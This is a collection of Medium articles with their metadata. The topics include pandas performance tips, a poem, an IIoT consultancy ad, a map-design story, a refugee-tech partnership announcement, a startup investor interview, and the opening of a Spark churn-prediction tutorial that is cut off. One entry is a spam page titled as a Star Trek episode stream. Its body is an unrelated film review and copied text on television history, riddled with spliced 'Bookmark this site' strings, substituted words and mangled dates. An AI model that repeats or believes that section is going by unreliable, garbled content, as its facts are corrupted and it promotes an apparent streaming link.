Python is the most popular language for scientific and numerical computing. Pandas is the most popular for cleaning code and exploratory data analysis. Using pandas with Python allows you to handle much more data than you could with Microsoft Excel or Google Sheets. SQL databases are very popular for storing data, but the Python ecosystem has many advantages over SQL when it comes to expressiveness, testing, reproducibility, and the ability to quickly perform data analysis, statistics, and machine learning. Unfortunately, if you are working locally, the amount of data that pandas can handle is limited by the amount of memory on your machine. And if you’re working in the cloud, more memory costs more money. 💵 Regardless of where you code is running you want operations to happen quickly so you can GSD (Get Stuff Done)! 😀 Things to always do If you’ve ever heard or seen advice on speeding up code you’ve seen the warning. ⚠️ Don’t prematurely optimize! ⚠️ This is good advice. But it’s also smart to know techniques so you can write clean fast code the first time. 🚀 Getting after it! Source: pixabay.com The following are three good coding practices for any size dataset. Avoid nested loops whenever possible. Here’s a brief primer on Big-O notation and algorithm analysis. One for loop nested inside another for loop generally leads to polynomial time calculations. If you have more than a few items to search through, you’ll be waiting for a while. See a nice chart and explanation here. Use list comprehensions (and dict comprehensions) whenever possible in Python. Creating a list on demand is faster than repeatedly loading and appending attributes to a list — hat tip to the Stack Overflow answer here. However, in general, don’t sacrifice clarity for speed, so be careful with nesting list comprehensions. ⚠️ In pandas, use built-in vectorized functions. The principle is same as the one behind list and dict comprehensions. Applying a function to a whole data structure at once is much faster than repeatedly calling a function. If you find yourself reaching for apply , think about whether you really need to. apply is looping over rows or columns. Vectorized methods are usually faster and less code, so they are a win on multiple fronts. 🚀 Likewise, avoid other pandas Series and DataFrame methods that loop over your data, such as applymap , itterrows , and ittertuples . If it makes sense, use the map or replace methods on a DataFrame instead of any of those other options to save lots of time. Notice that these suggestions might not hold for very small amounts of data, but in that case, the stakes are low, so who cares. 😉 This brings us to our most important rule If you can stay in pandas, stay in pandas. 🐼 It’s a happy place. 😀 Don’t worry about these speed and memory issues if you aren’t having problems and you don’t expect your data or memory footprint to balloon. But at some point storm clouds will gather. ⛈ You’ll encounter a big dataset and then you’ll want to know what to do. Let’s see some tips. Things to do with pretty big data (roughly millions of rows) Like millions of grains of sand. Source: pixabay.com Use a subset of your data to explore, clean, and make a baseline model if you’re doing machine learning. Solve 90% of your problems fast and save time and resources. This technique can help you get a good model so much faster! ⏳ Load only the columns that you need with the usecols argument when reading in your DataFrame. Less data in = win! Use dtypes efficiently. Downcast numeric columns to the smallest dtypes that makes sense with pd.to_numeric() . Convert columns with low cardinality (just a few values) to a categorical dtype. Here’s a pandas guide on efficient dtypes. Parallelize model training in scikit-learn to use more processing cores whenever possible. By default, scikit-learn uses just one of your machine’s cores. Many computers have 4 or more cores. You can use them all for parallelizable tasks by passing the keyword argument n_jobs=-1 . Save pandas DataFrames in feather or pickle formats for faster reading and writing. Hat tip to Martin Skarzynski, who links to evidence and code here. Use pd.eval to speed up pandas operations. Pass the function your usual code in a string. It does the operation much faster. Here’s a chart from tests with a 100 column DataFrame. Image from this good article on the topic by Tirthajyoti Sarkar df.query is basically same as pd.eval , but as a DataFrame method instead of a top-level pandas function. See the docs because there are some gotchas. ⚠️ Pandas is using numexpr under the hood. Numexpr also works with NumPy. Hat tip to Chris Conlan in his book Fast Python for pointing me to @Numexpr. Chris’s book is an excellent read for learning how to speed up your Python code. 👍 Things do with really big data (roughly tens of millions of rows and up) Even more data! Source: pixabay.com Use numba. Numba gives you a big speed boost if you’re doing mathematical calcs. Install numba and import it. Then use the @numba.jit decorator function when you need to loop over NumPy arrays and can't use vectorized methods. It only works withNumPy arrays. Use .to_numpy() on a pandas DataFrame to convert it to a NumPy array. Use SciPy sparse matrices when it makes sense. Scikit-learn outputs sparse arrays automatically with some transformers, such as CountVectorizer. When your data is mostly 0s or missing values, you can convert columns to sparse dtypes in pandas. Read more here. Use Dask to parallelize the reading of datasets into pandas in chunks. Dask can also parallelize data operations across multiple machines. It mimics a subset of the pandas and NumPy APIs. Dask-ML is a sister package to parallelize machine learning algorithms across multiple machines. It mimics the scikit-learn API. Dask plays nicely with other popular machine learning libraries such as XGBoost, LightGBM, PyTorch, and TensorFlow. Use PyTorch with or without a GPU. You can get really big speedups by using PyTorch on a GPU, as I found in this article on sorting. Things to keep an eye on/experiment with for dealing with big data in the future Keep an eye on them! Source: pixabay.com The following three packages are bleeding edge as of mid-2020. Expect configuration issues and API changes. If you are working locally on a CPU, these packages are unlikely to fit your needs. But they all look very promising and are worth keeping an eye on. 👀 Do you have access to lots of cpu cores? Does your data have more than 32 columns (necessary as of mid-2020)? Then consider Modin. It mimics a subset of the pandas library to speed up operations on large datasets. It uses Apache Arrow (via Ray) or Dask under the hood. The Dask backend is experimental. Some things weren’t fast in my tests — for example reading in data from NumPy arrays was slow and memory management was an issue. You can use jax in place of NumPy. Jax is an open source google product that’s bleeding edge. It speeds up operations by using five things under the hood: autograd, XLA, JIT, vectorizer, and parallelizer. Jax works on a CPU, GPU, or TPU and might be simpler than using PyTorch or TensorFlow to get speed boosts. Jax is good for deep learning, too. It works withNumPy version but not pandas as of mid-2020. However, you could convert a DataFrame to a TensorFlow or NumPy object and then use jax. Read more here. Rapids cuDF uses Apache Arrow on GPUs with a pandas-like API. It’s an open source Python package from NVIDIA. Rapids plays nicely with Dask, so you could get multiple GPUs processing data in parallel. For the biggest workloads, it should provide a nice boost. Other stuff to know about code speed and big data Timing operations If you want to time an operation in a Jupyter notebook, you can use %time or %%timeit magic commands. They both work on a single line or an entire code cell. %time runs once and %%timeit runs the code multiple times (the default is seven). Do check out the docs to see some subtleties. If you are working in a Python script or notebook you can import the time module, check the time before and after running code, and find the difference. When testing for time, note that different machines and software versions can cause variation. Also, caching will sometimes mislead if you are doing repeated tests. As with all experimentation, hold everything you can constant. 👍 Storing big data GitHub’s maximum file size is 100MB. You can use Git Large File Storage extension if you want to version large files with GitHub. Also, make sure you aren’t auto-uploading files to Dropbox, iCloud, or some other auto-backup service, unless you want to be. Want to learn more? The pandas docs have sections on enhancing performance and scaling to large datasets. Some of my ideas are adapted from those sections. Have other tips? I’d love to hear them over on Twitter. 🎉 Wrap You’ve seen how to write faster code. You’ve also seen how to deal with big data and really big data. Finally, you saw some new libraries that will likely continue to become more popular for processing big data. I hope you’ve found this guide to be helpful. If you did, please share it on your favorite social media so other folks can find it, too. 😀 I write about Python, SQL, Docker, and other tech topics. If any of that’s of interest to you, sign up for my mailing list of awesome data science resources and read more to help you grow your skills here. 👍

https://towardsdatascience.com/17-strategies-for-dealing-with-data-big-data-and-even-bigger-data-283426c7d260

['Jeff Hale']

2020-10-08 21:26:22.977000+00:00

['Machine Learning', 'Python', 'Artificial Intelligence', 'Technology', 'Data Science']

Letters.

why do i feel like i don’t own you? your words, phrases that once echo my soul now seem like an abyss abandoned by its invisible being. why do all of you appears new to me? …that every time i roam my eyes on your entirety, i barely remember a thing. tell me, had i written you? did i spend hours to fulfill my fixation upon you? why does it feels like everything is brand new? …like i am back from the start where it’s all scraps and full of trash. i am lost yet to find.

https://medium.com/poets-unlimited/letters-897b613df476

[]

2019-06-18 13:42:21.096000+00:00

['Poetry', 'Writing']

IIoT Platform | IIoT Applications Development | IIoT Architecture Consultancy | Utthunga

Utthunga is a leading IIoT architecture consultancy company. Our IIoT platform can be customised for your specific requirement and we help you in developing IIoT applications as per your use cases. IIoT is quite the buzz right now. Beyond the noise and the hype, there is actually serious promise in the adoption and implementation of IIoT tools and technologies in the manufacturing world. Industry verticals like process, factory, power & utilities, building automation are using IIoT applications that help in asset management, supply chain management, remote monitoring, predictive maintenance, operational efficiency and informed decision making. One particular area where IIoT is gaining prominence is in the predictive maintenance of industrial assets. By analyzing data generated from various industrial devices it is possible to predict problems in the devices before they occur enabling companies to take timely corrective actions. Data collected from the embedded sensors help track and monitor asset health as well as production processes. Another exciting area is centered on operational process optimization, which involves using asset data and virtual test models to optimize production processes and quality. Utthunga offers IIoT architecture consultancy along with expertise in IIoT application development and implementation. We offer tailored digital transformation solutions that will help you broaden your market reach with value added products and services.

https://medium.com/@utthungatechnologies/iiot-platform-iiot-applications-development-iiot-architecture-consultancy-utthunga-a8f04535d15f

['Utthunga Technologies']

2021-08-16 07:12:45.556000+00:00

['Platform', 'Iiot']

How I Designed a Map

Ch. 4: The Typography My map was coming along well, but I also wanted to change the font. In Jules Verne’s novel, it all starts with a cryptic note written in the Runic script. I wanted something similar — hard edges, geometrical lines harkening back to the Nordic style. A cryptic runic note that starts the adventure in Jules Verne’s novel After a long time looking for it, I found TT Firs, designed by Ivan Gladkikh and the TypeType team. It was perfect. It came in a huge range of variants, was neutral, and most importantly, legible at smaller sizes. It gave a beautiful character to my map. It was now time to style POIs. I grouped them by type and assigned colours. Green for nature, purple for transport, teal for water-based transport, red for medical, and orange for education. Everything else would be brown. Groups would have similar colours but different icons. Fortunately, Mapbox had a whole set of POI icons ready to be used and customised. I thought my map was coming along beautifully. There were a few niggles here and there, but V1 was complete! The niggles were mainly at higher zoom levels, but since my final aim was to map my whole road trip, I figured it was okay if I left it at that. The map was designed only for Iceland so the colours and information density don’t work on all countries. V1 of my map can be interacted with on my website, and you’re free to explore and play around with it. It was now May 2016 and I couldn’t plot the road trip until I was back. Ch. 5: Dusting it Off Four months later I went on my trip. I spent 16 days in Iceland driving 3300 km taking it all in. I hiked random trails, saw stunning waterfalls, and experienced standing under the Aurora until my fingers went numb with the cold. It was a surreal experience. However, I forgot about the map I’d made. Flash forward 4 years. Lockdown happened and I remembered my map. I came back to it and saw that there was a new version of Mapbox which let me do in 30 minutes what took me weeks. (insert laugh crying GIF). While I was writing this post, Mapbox released another updated version! Do they even sleep? I estimated that it would take me even more time to learn the new version and transfer my styles there, so I stuck with the old one. All I had to do now was chart my trip onto the map. To do that, I had to map out my whole trip and every single place I went to and then learn how to use Mapbox APIs to overlay it on top of my map. Thankfully I remembered my route almost completely. Once I had my trip details, I learnt how GeoJSON works and used that to make a tileset in Mapbox which I could then style. Tilesets are essentially geographical representations of your data. It’s actually pretty simple once you know what to do, but it took me almost a week to figure all of it out. I tried it on another map once and then ported it onto Iceland. All of it finally clicked into place. This took a lot more effort than I originally thought it would, but my map was better for it. I learned so much about cartography and technology by making just one map. I’ve always had huge respect for cartographers but it grew tenfold after this process; imagine creating maps 400 years back! It also gave me that warm fuzzy feeling you get when you make something with your hands entirely from the ground up. Almost 1600 days after I first began, my map was finally complete. I exported the map and made some adjustments in Photoshop to create a final static version of my road trip to Iceland — which, by the way, included going to Snæfellsjökull where it all started.

https://medium.com/nightingale/how-i-designed-a-map-7fa404023990

['Nimit Shah']

2020-12-28 14:02:36.865000+00:00

['Mapping', 'How To', 'Mapbox', 'Cartography', 'Built With Mapbox']

Pluralsight One + NRC: Building tech skills to address the needs of the global refugee crisis

In 2018, 28 million people were displaced from their homes due to violent conflict or natural disasters. Read that again. 28 million people. Just last year. According to numbers released this week by UNHCR, the UN Refugee Agency, 70.8 million people are displaced worldwide, the largest number ever recorded. Across 148 countries and territories, more people than ever are struggling with the after-effects of displacement, which impacts every aspect of their lives. That includes access to housing, food and water; jobs, education, health, security and safety, and even counseling and legal assistance, not to mention other conveniences we often take for granted. As these numbers grow, the funding and resources available have not scaled to meet the ever increasing need. This needs to change. For organizations seeking to be a part of the solution, knowing how to prioritize resources and use technology to help is crucial to improving these conditions for those affected. That’s why I’m honored to announce Pluralsight One is partnering with the Norwegian Refugee Council (NRC). In 2018, the NRC provided assistance and protection to 8.5 million refugees and people displaced in their own country, across 31 countries. Their goal: saving lives and rebuilding futures. Supporting NRC’s digital transformation efforts Our collaboration will tackle two critical needs: create sustainable social impact for millions of displaced and crisis-affected populations around the world, and increase the efficiency and efficacy of the NRC staff who serve them. Together, we’ll seek out solutions to advance NRC’s outcomes and leverage technology to accelerate its mission. Teams will have access to Pluralsight to upskill on the latest technologies, which will support NRC as it continues to modernize its infrastructure and deepen its data and analytics capabilities, so it can better understand the nature of displacements and fortify its response and influence globally. During our first year of collaboration, Pluralsight One will provide $250,000 in funding and a $6.3M product grant to power its technology strategy and innovation efforts. Using technology to better address the needs of displaced populations In supporting NRC’s digital transformation efforts, Pluralsight One will strengthen the organization’s ability to apply technology-based solutions and innovate in the face of a growing, global challenge. For example, through NRC’s Information Counselling and Legal Assistance program, attorneys have been working with refugees in Iraq to re-establish their documentation and help them regain access to their properties, services and more. As you might expect, not having proper documentation is a significant obstacle in an individual’s life, and it’s impacting hundreds of thousands of Iraqi people. The face-to-face program is hard to scale today, but if NRC could build a virtual legal assistance program, they could greatly increase the number of people they assist and provide them with help 24/7. Another example is leveraging technology to provide life-saving information to people who are fleeing. Venezuelan refugees, for example, cross the border into neighboring countries with very few belongings, and often without insights on what steps to take once they reach their destination. NGOs and technology companies are placing free wi-fi hotspots along the routes out of Venezuela and into Colombia, Brazil and other countries. This provides people who are fleeing with internet access, so they can communicate with their loved ones, and get guidance from NGOs on where to go, what services they can access and more. Democratizing technology skills Additionally, our partnership will support the NRC as it brings technology skills development opportunities to displaced people and their host communities around the world. Specifically, we’ll focus on providing advanced technology skills training for displaced youth. At Pluralsight, we believe everyone, everywhere should have the opportunity to create with technology. It’s why our mission is to democratize technology skills. And we believe our platform, resources and community can change the trajectory of lives and facilitate a crucial turning point for displaced and host country individuals throughout the world. Together, we can solve big problems We also aim to keep the global refugee crisis front and center as we work together to create the next generation of humanitarian staff, tools and infrastructure. We want to enlist our global Pluralsight community of technologists, leaders, authors, team members and corporate partners to help solve these big challenges. We challenge each of you to take the time to better understand the root of this global crisis. Moreover, we ask you to consider how your skills and resources can be put to use to create needs-based and technology-based solutions to global and regional challenges. Improving opportunities for displaced individuals throughout the world won’t be easy, but together, we can turn the course of history. To support the NRC’s digital transformation efforts, you can donate here or learn more about their work and how to get involved by following their progress on LinkedIn.

https://medium.com/pluralsight/pluralsight-one-nrc-building-tech-skills-to-address-the-needs-of-the-global-refugee-crisis-33cdfdacaa1

['Aaron Skonnard']

2019-06-20 12:31:00.965000+00:00

['Nrc', 'Refugees']

Star Trek: Discovery : < “Season 3 ] [ Episode 11” > (FULL EPISODES)

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However, their youthful courtship Bookmark this sitewith the other person comes to a halt when life-threating news of Melissa having cancer takes center stage. The diagnosis does nothing to deter Jeremey’s love on her behalf and the couple eventually marries shortly thereafter. Howsoever, they soon find themselves walking an excellent line between a life together and suffering by her Bookmark this siteillness; with Jeremy questioning his faith in music, himself, and with God himself. ✌ STREAMING MEDIA ✌ Streaming media is multimedia that is constantly received by and presented to an end-user while being delivered by a provider. The verb to stream refers to the procedure of delivering or obtaining media this way.[clarification needed] Streaming identifies the delivery approach to the medium, rather than the medium itself. Distinguishing delivery method from the media distributed applies especially to telecommunications networks, as almost all of the delivery systems are either inherently streaming (e.g. radio, television, streaming apps) or inherently non-streaming (e.g. books, video cassettes, audio tracks CDs). There are challenges with streaming content on the web. For instance, users whose Internet connection lacks sufficient bandwidth may experience stops, lags, or slow buffering of this content. And users lacking compatible hardware or software systems may be unable to stream certain content. Streaming is an alternative to file downloading, an activity in which the end-user obtains the entire file for the content before watching or listening to it. Through streaming, an end-user may use their media player to get started on playing digital video or digital sound content before the complete file has been transmitted. The term “streaming media” can connect with media other than video and audio, such as for example live closed captioning, ticker tape, and real-time text, which are considered “streaming text”. This brings me around to discussing us, a film release of the Christian religio us faith-based . As almost customary, Hollywood usually generates two (maybe three) films of this variety movies within their yearly theatrical release lineup, with the releases usually being around spring us and / or fall respectfully. I didn’t hear much when this movie was initially aounced (probably got buried underneath all of the popular movies news on the newsfeed). My first actual glimpse of the movie was when the film’s movie trailer premiered, which looked somewhat interesting if you ask me. Yes, it looked the movie was goa be the typical “faith-based” vibe, but it was going to be directed by the Erwin Brothers, who directed I COULD Only Imagine (a film that I did so like). Plus, the trailer for I Still Believe premiered for quite some us, so I continued seeing it most of us when I visited my local cinema. You can sort of say that it was a bit “engrained in my brain”. Thus, I was a lttle bit keen on seeing it. Fortunately, I was able to see it before the COVID-9 outbreak closed the movie theaters down (saw it during its opening night), but, because of work scheduling, I haven’t had the us to do my review for it…. as yet. And what did I think of it? Well, it was pretty “meh”. While its heart is certainly in the proper place and quite sincere, us is a little too preachy and unbalanced within its narrative execution and character developments. The religious message is plainly there, but takes way too many detours and not focusing on certain aspects that weigh the feature’s presentation. ✌ TELEVISION SHOW AND HISTORY ✌ A tv set show (often simply Television show) is any content prBookmark this siteoduced for broadcast via over-the-air, satellite, cable, or internet and typically viewed on a television set set, excluding breaking news, advertisements, or trailers that are usually placed between shows. Tv shows are most often scheduled well ahead of The War with Grandpa and appearance on electronic guides or other TV listings. A television show may also be called a tv set program (British EnBookmark this siteglish: programme), especially if it lacks a narrative structure. A tv set Movies is The War with Grandpaually released in episodes that follow a narrative, and so are The War with Grandpaually split into seasons (The War with Grandpa and Canada) or Movies (UK) — yearly or semiaual sets of new episodes. A show with a restricted number of episodes could be called a miniMBookmark this siteovies, serial, or limited Movies. A one-The War with Grandpa show may be called a “special”. A television film (“made-for-TV movie” or “televisioBookmark this siten movie”) is a film that is initially broadcast on television set rather than released in theaters or direct-to-video. Television shows may very well be Bookmark this sitehey are broadcast in real The War with Grandpa (live), be recorded on home video or an electronic video recorder for later viewing, or be looked at on demand via a set-top box or streameBookmark this sited on the internet. The first television set shows were experimental, sporadic broadcasts viewable only within an extremely short range from the broadcast tower starting in the. Televised events such as the 944 Summer OlyBookmark this sitempics in Germany, the 944 coronation of King George VI in the UK, and David Sarnoff’s famoThe War with Grandpa introduction at the 9 New York World’s Fair in the The War with Grandpa spurreBookmark this sited a rise in the medium, but World War II put a halt to development until after the war. The 944 World Movies inspired many Americans to buy their first tv set and in 94, the favorite radio show Texaco Star Theater made the move and became the first weekly televised variety show, earning host Milton Berle the name “Mr Television” and demonstrating that the medium was a well balanced, modern form of entertainment which could attract advertisers. The firsBookmBookmark this siteark this sitet national live tv broadcast in the The War with Grandpa took place on September 4, 94 when President Harry Truman’s speech at the Japanese Peace Treaty Conference in SAN FRAThe Good Doctor CO BAY AREA was transmitted over AT&T’s transcontinental cable and microwave radio relay system to broadcast stations in local markets. ✌ FINAL THOUGHTS ✌ The power of faith, love, and affinity for take center stage in Jeremy Camp’s life story in the movie I Still Believe. Directors Andrew and Jon Erwin (the Erwin Brothers) examine the life span and The War with Grandpas of Jeremy Camp’s life story; pin-pointing his early life along with his relationship Melissa Heing because they battle hardships and their enduring love for one another through difficult. While the movie’s intent and thematic message of a person’s faith through troublen is indeed palpable plus the likeable mThe War with Grandpaical performances, the film certainly strules to look for a cinematic footing in its execution, including a sluish pace, fragmented pieces, predicable plot beats, too preachy / cheesy dialogue moments, over utilized religion overtones, and mismanagement of many of its secondary /supporting characters. If you ask me, this movie was somewhere between okay and “meh”. It had been definitely a Christian faith-based movie endeavor Bookmark this web site (from begin to finish) and definitely had its moments, nonetheless it failed to resonate with me; struling to locate a proper balance in its undertaking. Personally, regardless of the story, it could’ve been better. My recommendation for this movie is an “iffy choice” at best as some should (nothing wrong with that), while others will not and dismiss it altogether. Whatever your stance on religion faith-based flicks, stands as more of a cautionary tale of sorts; demonstrating how a poignant and heartfelt story of real-life drama could be problematic when translating it to a cinematic endeavor. For me personally, I believe in Jeremy Camp’s story / message, but not so much the feature. FIND US: ✔️ https://official.streamtv-movie.com ✔️ Instagram: https://instagram.com ✔️ Twitter: https://twitter.com ✔️ Facebook: https://www.facebook.com

https://medium.com/star-trek-discovery-2020-s3-e11-episode-11-sukal/s3-e11-star-trek-discovery-series-3-episode-11-full-stream-fc7dbeadfc4e

['Maxine Freeman']

2020-12-25 16:36:15.349000+00:00

['Illumination', 'Covid 19', 'Startup', 'Life']

What Top Investors Look for in Early Stage Startups

Q: How did you get into startup space? What would you change? Mahesh: I wish I had started earlier. I had no idea about startups 10 years ago, and only knew there were big tech businesses like Google. And I thought they were cool but I didn’t understand ‘startups’. Social networks like MySpace, Facebook etc captured the imagination of my generation. These companies who were growing so fast seemed to have such an impact on the world. It seemed so exciting, there was so much learning going on etc. In my MBA class an entrepreneur presented the space to us and it was the first time it felt a bit more accessible. It planted the seed. Then growing frustration with “what am I really achieving” got to me and I decided to have a crack at a startup. For the longest time though — I had imposter syndrome as an entrepreneur. I would have gotten into it sooner. The Australian market was just beginning to grow. If I had been more aware, I should have hustled to try to get into Atlassian (pretty much the only proper growth startup that was making waves back then) but things worked out :) Dan: I got interested in startups around 2007 playing around with a few business ideas. We ended up launching GradConnection based off experiences on the Westpac NZ Graduate Program and seeing a gap in the market in how companies attracted students to apply to their entry level programs. When we first started out, there wasn’t much of a startup scene in Australia at all apart from a weekly drinks at a hotel happy hour once a week and not many avenues at all for funding which is way different to the multitude of accelerators and funding options available today which is a massive evolution of the startup eco-system. Q: What stage do you usually invest in and why? Mahesh: Really early stage. To me, passing on my experience and supporting the founders is really important. I realise now there is a difference between an investor and a mentor. An investor’s job is to choose wisely and deliver ROI (return on investment) for themselves, LPs (limited partners) etc. On the other hand, a mentor’s job is to guide a startup through critical decision making, pointing out gaps, giving frameworks to think through a problem, sharing their experiences/resources and even more. Investors may likely deliver even more value for themselves and their companies if they have actually had their own startup and been an operator, as then they are in a good position to mentor. It is likely that the best investors are mentors. Dan: I’ve been involved in investing in venture capital funds since about 2012 but this has been completely passive in terms of me selecting which companies to invest in. I’ve been getting involved in direct Angel Investing since about early 2020 so just under 18 months at this stage. When making direct investments into startups I’m generally focused on the Pre-Seed and Seed rounds Q: What do you look for in early stage startups? Mahesh: Really simple — a strong connection between a founder and a problem, product market fit (or love preferably), traction and ambition. Basically a minimum viable business going for crazy scale. These are the non-negotiables for me. Dan: The key things I look for are: Founding Team: do they have a good background in the problem domain and the right skills to run the company? Business Problem Domain: is there a real business in the space they are choosing to work in? Progress made in acquiring customers, revenue, traction off limited to no funding or resources. If a startup can get any sort of traction in their problem domain without much cash to spend, it’s a good sign they will be able to multiply their efforts substantially when they receive funding Clear scalable uplift that can be achieved with the fund raise with a big addressable market. Key thing is to have $X spent will return $Y in revenue or some other key business metric. Q: What are the biggest mistakes founders make? Mahesh: Not getting product market fit. Nothing matters without that. That is the first step and you can get it with really low tech fidelity. You need a bunch of customers saying I love how your solution solves my problem. Nothing else matters early on. Not a tech cofounder, not non-tech cofounder, not advisers. You have to understand the problem you are solving really deeply. What is it in acute detail? You should be able to write a research paper on it. If you don’t understand the problem really deeply (through customer interviews, research and insights) — it is going to be really hard to accelerate fwd. Dan: Not ‘expectation setting’ early on amongst founders. This is hard to get right early as things are very dynamic and always changing however if you end up having a really imbalanced workload and responsibilities amongst founders it will cause issues later Also, building products no one wants. Many startups focus on building something before going out to heavily engage with their future customers meaning a lot of time and resources get wasted on building things that never get used due to no product market fit. Q: What do you think makes a great founder? Mahesh: Deep connection to a problem, grit (there is a book on this) — basically capacity to get off the mat. Curiously, capacity to learn things and also a confidence that you can work through problems. Strong communication (story telling) skills also go a long way. Finally “I want to make an impact” at the core of it all. Dan: A personal connection to the problem the business is solving Resilience — things are not going to go to plan more often than not, so you have to be able to deal with some major setbacks, change direction and keep going Q: What mistakes have you made thus far (startup/investing related) and what have you learned? Mahesh: The biggest mistake I have made is to be distracted by vanity metrics and the story telling of founders (I was that person too!). I wish I had pushed for evidence and signalling of problems and customer validation more. I should have insisted more often for evidence around problem validation and also validation that the solution is working. Dan: In a funded scenario, the startup needs to be thinking 1–2 funding rounds ahead to make sure that their initial round of funding will produce uplift in the business to support and simplify their future fund-raising rounds as that can be a real momentum killer if your next round doesn’t go smoothly. Q: What are some indicators that an early stage startup is heading in the right direction? Mahesh: Revenue metrics — as Paul Graham says, the key metrics are just growing. If not, founders are talking about how to do this and asking the right questions etc. Also, if the team they are bringing together has a good startup/tech history — that is a good sign. If there’s one number every founder should always know, it’s the company’s growth rate. That’s the measure of a startup. If you don’t know that number, you don’t even know if you’re doing well or badly. — Paul Graham Dan: Having a set of customers/users that would be very unhappy if the product or service didn’t exist anymore and being able to grow this set of customers according to their forecasts is a pretty good indicator you’re heading in the right direction Q: What are the mistakes you see other investors make? Mahesh: In my opinion it is indexing for the positive vibes that their interaction has had with a founder. We are all biased in my opinion, acknowledging that and trying to make as few subjective decisions (or minimum, acknowledge what are the things that are subjective that make you like them). Also when an investor wears a mentor hat as well but they don’t actually have startup operator experience (or have not had the chance to pick it up) — this can be really dangerous. Dan: The main mistake I’ve seen is that some investors will blindly follow higher profile investors or celebrity investors into deals without doing their own due diligence (DD). Another mistake at the early/angel stage is over doing it on the DD as most of the time the company won’t have reliable data/forecasts to provide you that you can necessarily put much weight into as well as taking up a large amount of the founding teams time for DD questions over what ends up being a small cheque from an individual investor Q: Which entrepreneurs do you admire and why? Mahesh: Mel and Cliff from Canva are fantastic entrepreneurs. I think Jack Ma (refer to video below) has also achieved unreal things. I like the Afterpay story. I also really admire every entrepreneur that is problem and customer focussed, whether that be those I just mentioned or a local cafe owner. Every person/team who has a go and one of (if not the highest) their biggest priorities is to solve a customer problem — yeah that’s great. In my opinion, prioritisation and focus is one of the key things for a vibrant powerful economy and society. Crocodile in the Yangtze Trailer depicting Jack Ma’s story Dan: Rosemary — Romain Bonjean: Romain is an execution machine in the e-health sector for his current venture Rosemary Health. I’ve seen him aggressively close out multiple funding rounds while simultaneously keep up a rapid business tempo of producing results at the same time which is tough going. Pushas — Justin Truong: Justin is impressive in terms of the wide ranging network of advisors and mentors he has put together while focused on growing Pushas which is a sneaker reselling logistics and market place business. Canva — it has been crazy watching the progress of Canva since 2012 and how they have gone from small Sydney based start up to a global giant and one of the best companies in the world in general. I’m amazed at how the founding team has been able to scale up their operations to sustain this crazy level of growth and success The story of three of Australia’s fastest growing startups — SafetyCulture, Vinomofo, and Canva — as they scale from garage offices to millions of users and worldwide impact. Q: What are your opinions about the NZ startup ecosystem? Mahesh: Awesomeness! It is early doors, I feel like it is where Aus was 5–7 years ago. There are tremendous founders all around. The ecosystem is starting to mature to ask the right questions around true high growth. We have been lucky to have had early pioneers who have made adequate space for the next wave of leadership and operators to join them in maturing the ecosystem. All of us have to keep pushing and aiming big. Software/tech scales. NZ has the required talent. It is time we stepped up to the challenge of building even more global solutions and powerful companies. Dan: I’ve been based in Australia since 2008 so I’m not super across the NZ ecosystem in detail but a couple of observations I’ve had are: Focusing on the NZ market only — the NZ market is often too small for many business models even if you get close to 100% of the total addressable market Not aggressive enough — I’ve found the NZ market to not have the same level of competition as other markets globally which leads to many NZ founders not raising their level of aggressiveness when they expand outside of NZ Q: Any advice you’d like to give/Any other comments? Mahesh: Always keen to meet more Kiwi founders. Hit me up, always open to chat. Dan: There is never a perfect time to start a business so if you are wanting to start a specific venture, why not now? You will always learn and adapt from your original concepts so the sooner you start, the faster you learn what will work and what doesn’t. Think through what sort of business you want to work on — not every startup needs to be a VC backed hugely scaled global business, but if you are ambitious and want to push out to a global market, be aggressive and go hard!

https://medium.com/nzscaleup/what-top-investors-look-for-in-early-stage-startups-87a939618cb7

['Doris Dong']

2021-07-15 03:18:01.254000+00:00

['Startmate', 'Tips', 'Early Stage', 'Insights', 'Investors']

Predicting Customer Churn with Spark

For many companies, churn is a major concern. It is natural that some people stop using the service, but if this proportion becomes too large it can hinder growth, regardless of revenue sources (ad sales, subscriptions or a mix of both). With that in mind, the ability for firms to predict churn by identifying customers at risk is crucial for it enables them to take certain actions, such as personalized offers or discounts, to try and mitigate the loss of customers. Machine learning models built on historical data can give us insight into signals of churn and help us predict it before it happens. For this example, we use log data from a fictitious music app company, called Sparkify. This is a toy dataset, relatively small in size so it could be processed by a single computer. Nonetheless, in order to mimic the real world, we use Spark (in local mode) to process the data and build the model. Spark is one of the leading solutions for Big Data processing and modeling, getting its speed from its in-memory processing and lazy evaluation of computations through DAG’s. You can click here to learn more. By using Spark for this project, although it is not strictly necessary, we build an extensible framework to analyze churn for data of any size, since the code and the analysis could easily scale up provided they were deployed on a cluster (such as AWS, IBM Cloud or GCP) which can handle the computations required. In this blog post I will summarize the analysis contained in this GitHub repository. After a brief overview of the data at hand, we will present the model, its results and what it means for Sparkify. The Data After starting our Spark session in local mode, we can load our dataset. It contains information on 226 distinct users between 10/1/2018 and 12/03/2018. It is in JSON format (more information on the JSON format here), and can easily be loaded with the following commands: path = “mini_sparkify_event_data.json” df = spark.read.json(path) This data captures actions as varied as listening to a song, giving a “thumbs up”, hitting the homepage, changing the settings of the account or adding a song to a playlist. As a result, although it is a small subset of users the dataset still includes 278,251 rows. Of the 226 users present in the dataset, 52 ended up churning. In order to properly train and assess our model, we address this disproportion to make sure our predictions can accurately predict both categories, and do not overly lean towards predicting absence of churn. We do so by a technique called upsampling, i.e. sampling with replacement from the population of users who churned until we get two groups of comparable size. The Model In order to build features for this model, I let data exploration dictate my approach, along with domain knowledge I acquired while working for a very similar (real) music app company. In particular, I was looking for features whose values seem to vary significantly between users who churned and those who did not. Looking for such features highlighted the importance of the type of the account (free vs. paid) as well as other account-related information, such as the state and the registration date, to give us some insight into who the users are. Users who churned are more likely to have a free account Another group of features is centered around behaviors people take on platform. These elements, such as length of sessions, number of songs per session but also thumbs up/thumbs down, adding to playlist or adding a friend provide us with additional insight. The intuitive interpretation prior to modeling is that these features capture a latent variable related to user engagement, with a lower engagement being linked to a higher likelihood of churning. For instance, users who ended churning came 9 times per month on platform, while users who remained came 14 times. We will see later on whether this pre-conception was confirmed by the data. The distribution in terms of session length and number of items in session differs between both groups Those of you who are interested in the technical details of creating these features can refer back to the code linked in the introduction, but thanks to Spark’s pipelines we can efficiently process and transform all these features into a form suitable for analysis. You can see below the first few rows of the dataset with all its features. First few rows of features dataset Examining the distribution of these features, we can see that itemInSession, thumbsUp, addFriend and addToPlaylist are very spread out around the mean. This is important as models rely on variability to learn and make predictions. On the other hand, features such as daily sessions or length have less variation, so I expect those to carry a lesser weight in predictions. Once this is done, we test out three different classification models (Random Forest, Logistic Regression and Gradient Boosting) and assess their accuracy and F1 score on a test set. It is important to consider both (not only the 